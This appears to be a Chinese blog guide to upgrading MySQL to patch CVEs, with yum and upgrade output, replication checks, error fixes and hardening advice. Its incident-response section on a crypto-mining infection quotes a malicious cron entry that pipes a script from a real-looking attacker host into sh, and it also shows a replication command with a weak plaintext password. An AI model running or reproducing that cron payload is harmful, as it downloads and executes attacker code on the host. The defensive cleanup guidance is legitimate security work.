---> Package mysql-community-server.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-server.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-server-debug.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-test.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-test.x86_64 0:8.0.33-1.el7 will be an update
--> Finished Dependency Resolution
Dependencies Resolved
================================================================================================
 Package         Arch   Version      Repository                                            Size
================================================================================================
Installing:
 mysql-community-client-plugins
                 x86_64 8.0.33-1.el7 /mysql-community-client-plugins-8.0.33-1.el7.x86_64   20 M
 mysql-community-debuginfo
                 x86_64 8.0.33-1.el7 /mysql-community-debuginfo-8.0.33-1.el7.x86_64       2.5 G
 mysql-community-icu-data-files
                 x86_64 8.0.33-1.el7 /mysql-community-icu-data-files-8.0.33-1.el7.x86_64  3.5 M
 mysql-community-server-debug
                 x86_64 8.0.33-1.el7 /mysql-community-server-debug-8.0.33-1.el7.x86_64    120 M
Updating:
 mysql-community-client
                 x86_64 8.0.33-1.el7 /mysql-community-client-8.0.33-1.el7.x86_64           80 M
 mysql-community-common
                 x86_64 8.0.33-1.el7 /mysql-community-common-8.0.33-1.el7.x86_64           10 M
 mysql-community-devel
                 x86_64 8.0.33-1.el7 /mysql-community-devel-8.0.33-1.el7.x86_64            10 M
 mysql-community-embedded-compat
                 x86_64 8.0.33-1.el7 /mysql-community-embedded-compat-8.0.33-1.el7.x86_64  17 M
 mysql-community-libs
                 x86_64 8.0.33-1.el7 /mysql-community-libs-8.0.33-1.el7.x86_64            7.6 M
 mysql-community-libs-compat
                 x86_64 8.0.33-1.el7 /mysql-community-libs-compat-8.0.33-1.el7.x86_64     3.7 M
 mysql-community-server
                 x86_64 8.0.33-1.el7 /mysql-community-server-8.0.33-1.el7.x86_64          295 M
 mysql-community-test
                 x86_64 8.0.33-1.el7 /mysql-community-test-8.0.33-1.el7.x86_64            755 M
Transaction Summary
================================================================================================
Install  4 Packages
Upgrade  8 Packages
Total size: 3.7 G
Is this ok [y/d/N]: y
Downloading packages:
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
Warning: RPMDB altered outside of yum.
** Found 7 pre-existing rpmdb problem(s), 'yum check' output follows:
elfutils-devel-0.170-4.el7.x86_64 has missing requires of pkgconfig(zlib)
elfutils-libelf-devel-0.170-4.el7.x86_64 has missing requires of pkgconfig(zlib)
freetype-devel-2.8-14.el7.x86_64 has missing requires of pkgconfig(zlib)
1:libguestfs-1.36.10-6.el7.centos.x86_64 has missing requires of mdadm
2:libpng-devel-1.5.13-7.el7_2.x86_64 has missing requires of zlib-devel(x86-64)
libssh2-devel-1.8.0-3.el7.x86_64 has missing requires of pkgconfig(zlib)
1:openssl-devel-1.0.2k-12.el7.x86_64 has missing requires of zlib-devel(x86-64)
  Updating   : mysql-community-common-8.0.33-1.el7.x86_64                                  1/20 
  Installing : mysql-community-client-plugins-8.0.33-1.el7.x86_64                          2/20 
  Updating   : mysql-community-libs-8.0.33-1.el7.x86_64                                    3/20 
  Updating   : mysql-community-client-8.0.33-1.el7.x86_64                                  4/20 
  Installing : mysql-community-icu-data-files-8.0.33-1.el7.x86_64                          5/20 
  Updating   : mysql-community-server-8.0.33-1.el7.x86_64                                  6/20 
  Installing : mysql-community-server-debug-8.0.33-1.el7.x86_64                            7/20 
  Updating   : mysql-community-test-8.0.33-1.el7.x86_64                                    8/20 
  Updating   : mysql-community-libs-compat-8.0.33-1.el7.x86_64                             9/20 
  Updating   : mysql-community-devel-8.0.33-1.el7.x86_64                                  10/20 
  Updating   : mysql-community-embedded-compat-8.0.33-1.el7.x86_64                        11/20 
  Installing : mysql-community-debuginfo-8.0.33-1.el7.x86_64                              12/20 
  Cleanup    : mysql-community-devel-8.0.21-1.el7.x86_64                                  13/20 
  Cleanup    : mysql-community-test-8.0.21-1.el7.x86_64                                   14/20 
  Cleanup    : mysql-community-server-8.0.21-1.el7.x86_64                                 15/20 
  Cleanup    : mysql-community-client-8.0.21-1.el7.x86_64                                 16/20 
  Cleanup    : mysql-community-embedded-compat-8.0.21-1.el7.x86_64                        17/20 
  Cleanup    : mysql-community-libs-compat-8.0.21-1.el7.x86_64                            18/20 
  Cleanup    : mysql-community-libs-8.0.21-1.el7.x86_64                                   19/20 
  Cleanup    : mysql-community-common-8.0.21-1.el7.x86_64                                 20/20 
  Verifying  : mysql-community-libs-8.0.33-1.el7.x86_64                                    1/20 
  Verifying  : mysql-community-common-8.0.33-1.el7.x86_64                                  2/20 
  Verifying  : mysql-community-libs-compat-8.0.33-1.el7.x86_64                             3/20 
  Verifying  : mysql-community-embedded-compat-8.0.33-1.el7.x86_64                         4/20 
  Verifying  : mysql-community-client-plugins-8.0.33-1.el7.x86_64                          5/20 
  Verifying  : mysql-community-server-debug-8.0.33-1.el7.x86_64                            6/20 
  Verifying  : mysql-community-debuginfo-8.0.33-1.el7.x86_64                               7/20 
  Verifying  : mysql-community-test-8.0.33-1.el7.x86_64                                    8/20 
  Verifying  : mysql-community-server-8.0.33-1.el7.x86_64                                  9/20 
  Verifying  : mysql-community-icu-data-files-8.0.33-1.el7.x86_64                         10/20 
  Verifying  : mysql-community-client-8.0.33-1.el7.x86_64                                 11/20 
  Verifying  : mysql-community-devel-8.0.33-1.el7.x86_64                                  12/20 
  Verifying  : mysql-community-server-8.0.21-1.el7.x86_64                                 13/20 
  Verifying  : mysql-community-libs-8.0.21-1.el7.x86_64                                   14/20 
  Verifying  : mysql-community-client-8.0.21-1.el7.x86_64                                 15/20 
  Verifying  : mysql-community-libs-compat-8.0.21-1.el7.x86_64                            16/20 
  Verifying  : mysql-community-embedded-compat-8.0.21-1.el7.x86_64                        17/20 
  Verifying  : mysql-community-common-8.0.21-1.el7.x86_64                                 18/20 
  Verifying  : mysql-community-test-8.0.21-1.el7.x86_64                                   19/20 
  Verifying  : mysql-community-devel-8.0.21-1.el7.x86_64                                  20/20 
Installed:
  mysql-community-client-plugins.x86_64 0:8.0.33-1.el7                                          
  mysql-community-debuginfo.x86_64 0:8.0.33-1.el7
  mysql-community-icu-data-files.x86_64 0:8.0.33-1.el7                                          
  mysql-community-server-debug.x86_64 0:8.0.33-1.el7                                            
Updated:
  mysql-community-client.x86_64 0:8.0.33-1.el7   
  mysql-community-common.x86_64 0:8.0.33-1.el7   
  mysql-community-devel.x86_64 0:8.0.33-1.el7    
  mysql-community-embedded-compat.x86_64 0:8.0.33-1.el7                                         
  mysql-community-libs.x86_64 0:8.0.33-1.el7     
  mysql-community-libs-compat.x86_64 0:8.0.33-1.el7                                             
  mysql-community-server.x86_64 0:8.0.33-1.el7   
  mysql-community-test.x86_64 0:8.0.33-1.el7     
Complete!
#验证
mysql -V
mysql -uroot -p --execute="select version()"

更多参看:Upgrading MySQL with Directly-Downloaded RPM Packages

五、挖矿病毒

肉鸡 弱口令 webshell xss 软件漏洞bug redis zk mysql 0day yarn等都会造成服务器被扫描并且提权。

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第12张

#恶意定时任务,ip为192.64.119.254 w.3ei.xyz,归属:美国 亚利桑那州 凤凰城
*/6 * * * * curl -fsSL http://w.21-3n.xyz:43768/init.sh | sh > /dev/null 2>&1 
#网络连接查看
lsof -i
netstat -plunt
#本地封堵
iptables -I INPUT -s 192.64.119.254 -j DROP
iptables -A INPUT -s w.21-3n.xyz -j DROP 
iptables -A OUTPUT -d w.21-3n.xyz -j DROP
#查看登录日志
last 或者 last -f /var/log/wtmp
#定时任务删除不了的,执行
chattr -ia /etc/cron.d/root
chattr -ia /etc/crontab
chattr -ia /var/spool/cron/root
chattr -ia /etc/hosts
#正常权限如下
-------------e-- /var/spool/cron/root
#history命令检查:一定留意有没有用 wget 或 curl命令来下载类似垃圾邮件机器人或者挖矿程序之类的非常规软件。命令历史存储在~/.bash_history文件中,因此有些攻击者会删除该文件以掩盖他们的所作所为。跟登录历史一样,若运行history 命令却没有输出任何东西那就表示历史文件被删掉了。
#查看异常进程
strace -p PID或lsof-p PID  //查看该进程调用的所有系统调用
#Linux后门入 侵检测工具chkrootkit、RKHunter检查
#僵死进程处理
ps aux | grep 'defunct'  
或
ps -ef | grep defunct | grep -v grep | wc -l
#清理僵尸进程 
ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9
或
kill -HUP ps -A -ostat,ppid | grep -e '^[Zz]' | awk '{print $2}'

六、后续漏洞再次升级到mysql 5.7.43

1)漏洞描述

Oracle MySQL Cluster 安全漏洞(CVE-2023-0361),Oracle MySQL 安全漏洞(CVE-2023-22053)、Oracle MySQL 安全漏洞(CVE-2023-22054)、Oracle MySQL 安全漏洞(CVE-2023-22008)、Oracle MySQL 安全漏洞(CVE-2023-22046)、Oracle MySQL 安全漏洞(CVE-2023-22056)、Oracle MySQL Server 安全漏洞(CVE-2023-22057、Oracle MySQL Server 安全漏洞(CVE-2023-22058)、Oracle MySQL 安全漏洞(CVE-2023-22033)、Oracle MySQL 安全漏洞(CVE-2023-22005)

2)修复措施:

升级MySQL到5.7.43 版本

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第13张

3)修复过程

wget --no-check-certificate https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.43-1.el7.x86_64.rpm-bundle.tar
md5sum mysql-5.7.43-1.el7.x86_64.rpm-bundle.tar   //输出MD5: 7efa4ff0e6ab429cf570428e50e9c6d9
#二进制包下载,编译安装二进制替换
wget --no-check-certificate https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz
md5sum mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz  //输出MD5: 4f49e175c5e9cd22fbf1655537a18125
#备份
/usr/local/mysql/bin/mysqldump -uroot -p --all-databases >/opt/mysql_db_bak/mysql_all_`date +%Y%m%d`.sql
#验证
du -sh /opt/mysql_db_bak/*
1.2G	/opt/mysql_db_bak/mysql_20230621.sql
1.2G	/opt/mysql_db_bak/mysql_20230709.sql
1.2G	/opt/mysql_db_bak/mysql_20230716.sql
1.2G	/opt/mysql_db_bak/mysql_20230723.sql
1.2G	/opt/mysql_db_bak/mysql_20230730.sql
1.3G	/opt/mysql_db_bak/mysql_all_20230805.sql
#解压
tar -xzf mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz 
mv mysql-5.7.43-linux-glibc2.12-x86_64 mysql-5.7.43
cd mysql-5.7.43
ls ./bin/   #验证
ps aux|grep mysql
systemctl status mysqld  #确认如下mysql位置和pid是否与ps的一致,现场是一致的
● mysqld.service - LSB: start and stop MySQL
   Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
   Active: active (running) since Thu 2023-06-22 13:35:38 CST; 1 months 14 days ago
     Docs: man:systemd-sysv-generator(8)
   CGroup: /system.slice/mysqld.service
           ├─2666 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
           └─3010 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin ...
Jun 22 13:35:37 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:35:38 zq-mysql-master mysqld[2653]: Starting MySQL. SUCCESS!
Jun 22 13:35:38 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#查看mysql master是否开启缓慢关停
mysql -u root -p
mysql> select @@innodb_fast_shutdown;
+------------------------+
| @@innodb_fast_shutdown |
+------------------------+
|                      1 |
+------------------------+
1 row in set (0.01 sec)
mysql> SET GLOBAL innodb_fast_shutdown=0;  #否则执行
//缓慢关闭服务的作用:关闭时,InnoDB会在关闭前执行完全purge和变化的缓冲区合并,以确保在版本之间出现文件格式差异时,data files已做好准备。
#或直接执行如下命令
mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
mysqladmin -u root -p shutdown
#现场直接
systemctl stop mysqld
systemctl status mysqld  //验证确认
ps aux|grep mysql
#替换二进制文件
mv bin bin_5.7.42  //备份源二进制
cp -pr /home/ygcg/mysql-5.7.43/bin ./   //新的二进制目录迁移到MySQL生产目录下替换二进制
ll -d bin*	//检查权限
drwxr-xr-x 2 root  root  4096 Aug  6 00:17 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin_5.7.42
chown -R mysql.mysql ./bin    //授权
ll -d bin*    //再次验证
drwxr-xr-x 2 mysql mysql 4096 Aug  6 00:17 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin_5.7.42
#重启mysql服务
systemctl start mysqld
systemctl status mysqld  //
#备库检查主从一致性
mysql> show slave status\G
*************************** 1. row ***************************
               Slave_IO_State: Waiting for master to send event
                  Master_Host: 18.3
                  Master_User: repl
                  Master_Port: 3306
                Connect_Retry: 60
              Master_Log_File: master-bin.000054
          Read_Master_Log_Pos: 11916
               Relay_Log_File: slave-relay-bin.000011
                Relay_Log_Pos: 12131
        Relay_Master_Log_File: master-bin.000054
             Slave_IO_Running: Yes
            Slave_SQL_Running: Yes
##检查数据库所有表是否与当前版本兼容,并更新系统库
./bin/mysql_upgrade -u root -p  //更新数据库表,它会检查所有数据库中的所有表是否与当前版本的MySQL不兼容。mysqlupgrade还回升级了mysql系统数据库,以便可以利用新的权限或功能。注意:它不会升级时区表或帮助表的内容。
Enter password: 
Checking if update is needed.
Checking server version.
Running queries to upgrade MySQL server.
Checking system database.
mysql.columns_priv                                 OK
mysql.db                                           OK
……
mysql.user                                         OK
The sys schema is already up to date (version 1.5.2).
Checking databases.
cr_debug.breakpoints                               OK
……
xxl-job.xxl_job_qrtz_triggers                      OK
Upgrade process completed successfully.
Checking if update is needed.
//版本验证
mysql -V //输出如下
mysql  Ver 14.14 Distrib 5.7.43, for linux-glibc2.12 (x86_64) using  EditLine wrapper
//再次备库检查主从一致性
mysql> show slave status\G    #一般正常
####################### 至此,mysql主从替换就地升级完成,总体简单易上手,提前做好备份即可##################
#备库升级,步骤基本同上,但是需要先在主库加表级锁
//主库升级后锁定
mysql> flush tables with read lock;
Query OK, 0 rows affected (2 min 20.53 sec)
mysql> select @@innodb_fast_shutdown;
+------------------------+
| @@innodb_fast_shutdown |
+------------------------+
|                      1 |
+------------------------+
1 row in set (0.00 sec)
#验证服务关停与ps显示一致,即下面的20487和2135进程一致
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
   Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
   Active: active (running) since Thu 2023-06-22 13:31:51 CST; 1 months 14 days ago
     Docs: man:systemd-sysv-generator(8)
   CGroup: /system.slice/mysqld.service
           ├─20847 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
           └─21353 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin...
Jun 22 13:31:50 mysql-slaver systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:31:51 mysql-slaver mysqld[20834]: Starting MySQL. SUCCESS!
Jun 22 13:31:51 mysql-slaver systemd[1]: Started LSB: start and stop MySQL.
systemctl stop mysqld    //关停备库
#解压替换
mv bin bin_5.7.42  //备份源二进制
cp -pr /home/ygcg/mysql-5.7.43/bin ./   //新的二进制目录迁移到MySQL生产目录下替换二进制
chown -R mysql.mysql ./bin/
ll -d bin*	//检查权限
drwxr-xr-x 2 mysql mysql 4096 Aug  6 00:24 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 13:16 bin_5.7.42
systemctl start mysqld   //重新启动
#更新检查
./bin/mysql_upgrade -u root -p   //最后输出如下
Upgrade process completed successfully.
Checking if update is needed.
#验证进程一致性
ps aux|grep mysqld
systemctl status mysqld
mysql -V  //输出如下
mysql  Ver 14.14 Distrib 5.7.43, for linux-glibc2.12 (x86_64) using  EditLine wrapper
#登录备库再次验证主从一致性,一般正常
mysql> show slave status\G
#主库解锁,并观察主从一致性,最终确认即可
mysql> unlock tables;
Query OK, 0 rows affected (0.02 sec)
//至此,MySQL升级完成,祝你也好运!
change master to master_host = '172.16.18.8', master_user = 'repl', master_port=3306, master_password='123456', master_log_file = 'mysql-bin.000030', master_log_pos=243429723;
create table `xxl_job_qrtz_scheduler_state` (\
     `SCHED_NAME` varchar(120) NOT NULL, 
    `INSTANCE_NAME` varchar(200) NOT NULL,
    `LAST_CHECKIN_TIME` bigint(13) NOT NULL,
    `CHECKIN_INTERVAL` bigint(13) NOT NULL,
     PRIMARY KEY (`SCHED_NAME`,`INSTANCE_NAME`)
    )ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

4)过程报错处理

1、ERROR 1051 (42S02): Unknown table ……

2、ERROR 1146 (42S02): Table ‘xxl-job.xxl_job_qrtz_scheduler_state’ doesn’t exist

3、ERROR 1813 (HY000): Tablespace ‘xxl-job.xxl_job_qrtz_scheduler_state’ exists.

4、ERROR 1060 (42S21): Duplicate column name ‘CHECKIN_INTERVAL’

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第14张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第15张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第16张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第17张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第18张

对上图中的执行:rm -rf /tmp/mysql.sock.lock,然后执行:/etc/rc.d/init.d/mysqld start,这时就可成功,之后stop了,执行systemctl start mysqld启动

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第19张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第20张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第21张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第22张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第23张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第24张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第25张

注:采用创建临时库,创建同名表,复制该表目录下的frm文件到确实的xxlku下未生效,报其他错误,经过一番调试,最终还是报表空间已存在,最后索性删了重建,因该表只有一条数据

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第26张

执行上述操作完成后,再次执行:./bin/mysql_upgrade -uroot -p --force,检查正常

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第27张

5)Mysql 5.7.43版本新的漏洞

该版本涉及2个高危漏洞,2个中危漏洞,升级到mysql server8.0.35或5.7.44即可,过程同上,选用Linux通用版本,新进行备库升级,确认正常后,切换后(如不满足,热升级),再执行主库,或参看官方升级过程。如下所示:

漏洞编码漏洞描述影响范围
CVE-2023-38545
CVE-2023-38546
涉及编译时引入的curl关联漏洞,该漏洞源于允许高权限攻击者通过多种协议进行网络访问来危害 MySQL 服务器,更多请参看:CVE-2023-38545MySQL Server 5.7.43及之前版本,8.0.33及之前版本和8.1.0存在安全漏洞,在 8.0.35/5.7.44中被修复
CVE-2023-22084该漏洞涉及Inn哦DB引擎,源于允许高权限攻击者通过多种协议进行网络访问来危害 MySQL 服务器,成功利用上述漏洞的攻击者可以在目标系统上执行任意代码、获取用户数据,提升权限等,更多参看:2023安全报告MySQL Server 5.7.43及之前版本,8.0.33及之前版本和8.1.0存在安全漏洞,也是在mysql server8.0.35和5.7.44中被修复
CVE-2023-22028涉及Server: Optimizer,同上5.7.43及之前版本,8.0.31及之前版本存在安全漏洞存在安全漏洞,在mysql server8.0.35和5.7.44中被修复

现场验证:升级mysql 5.7.44过程与上完全相同,未出现异常错误

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第28张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第29张

Mysql漏洞处理之升级版本到5.7.425.7.43过程指导手册,在这里插入图片描述,第30张

七、Mysql通用防范措施

1)数据传输安全

MySQL服务器与客户端之间的数据传输安全是一个重要的层面,即使在内网,尤其是在使用不安全的网络连接时更为突出。增强数据传输的机密性和完整性是我们必须考虑的,可以采用以下几种方式进行加密和保护:

  1. SSL/TLS加密

  通过在MySQL服务器和客户端之间建立SSL/TLS加密连接,可以有效地保护数据传输过程中的机密性和完整性。可以使用自签名证书或者受信任的第三方证书机构颁发的证书来配置SSL/TLS加密。此外,还应定期更新证书、密钥,并确保SSL/TLS协议的强度和安全性。

  1. 限制不安全的网络访问

  通过限制MySQL服务器的网络访问,可以有效地减少受到攻击的风险。可以使用防火墙规则、网络ACL等方法,限制只允许特定IP地址或者IP地址段进行访问MySQL服务器。同时,还应禁用不安全的网络协议和服务,如Telnet、FTP等。

2)访问控制和身份验证

MySQL的访问控制和身份验证能有效保护数据库只有经过授权的用户才能够对数据库进行操作,防止未经授权的用户进行恶意操作和攻击。

  1. 安全的密码策略

  合理的密码策略是保护MySQL数据库的关键。应该要求用户使用复杂的密码,并设置密码过期策略、密码强度验证等。此外,还应禁止使用默认密码,并提醒用户定期更换密码。

  1. 强制身份验证

  MySQL支持多种身份验证方式,如本地验证、LDAP验证等。应选择安全性较高的身份验证方式,并在MySQL配置中强制启用该方式,以确保只有经过身份验证的用户才能够访问数据库。

3)合适的权限管理

MySQL的合适的权限管可以有效控制对数据库的操作范围,防止未经授权的用户进行恶意操作和数据泄露。

  1. 最小权限原则

  根据最小权限原则,为每个用户分配最低限度的权限,只赋予其必要的操作权限。这样可以减少用户滥用权限的风险,提高数据库的安全性。

  1. 定期审计用户权限

  定期审计用户的权限是保护数据库安全的重要环节。通过定期检查和评估用户的权限配置,及时发现和纠正不合理的权限设置,以确保用户权限的合理性和安全性。

4)防止SQL注入攻击

SQL注入攻击是MySQL数据库常见的安全威胁之一。攻击者通过构造恶意的SQL语句,利用应用程序的漏洞来注入恶意代码并执行非法操作。除定期内外扫描,sql渗透测试外,为防止SQL注入攻击,还可以采取以下几种措施。

  1. 输入验证和过滤

  对于用户输入的数据,应该进行有效的验证和过滤,确保数据的合法性和完整性。可以使用正则表达式、过滤函数等方法来检查和过滤用户输入的数据。

  1. 参数化查询

  采用参数化查询可以避免将用户输入的数据直接嵌入到SQL语句中,从而减少SQL注入攻击的风险。通过使用预编译语句和占位符,将用户输入的参数与SQL语句分离,确保数据的安全性。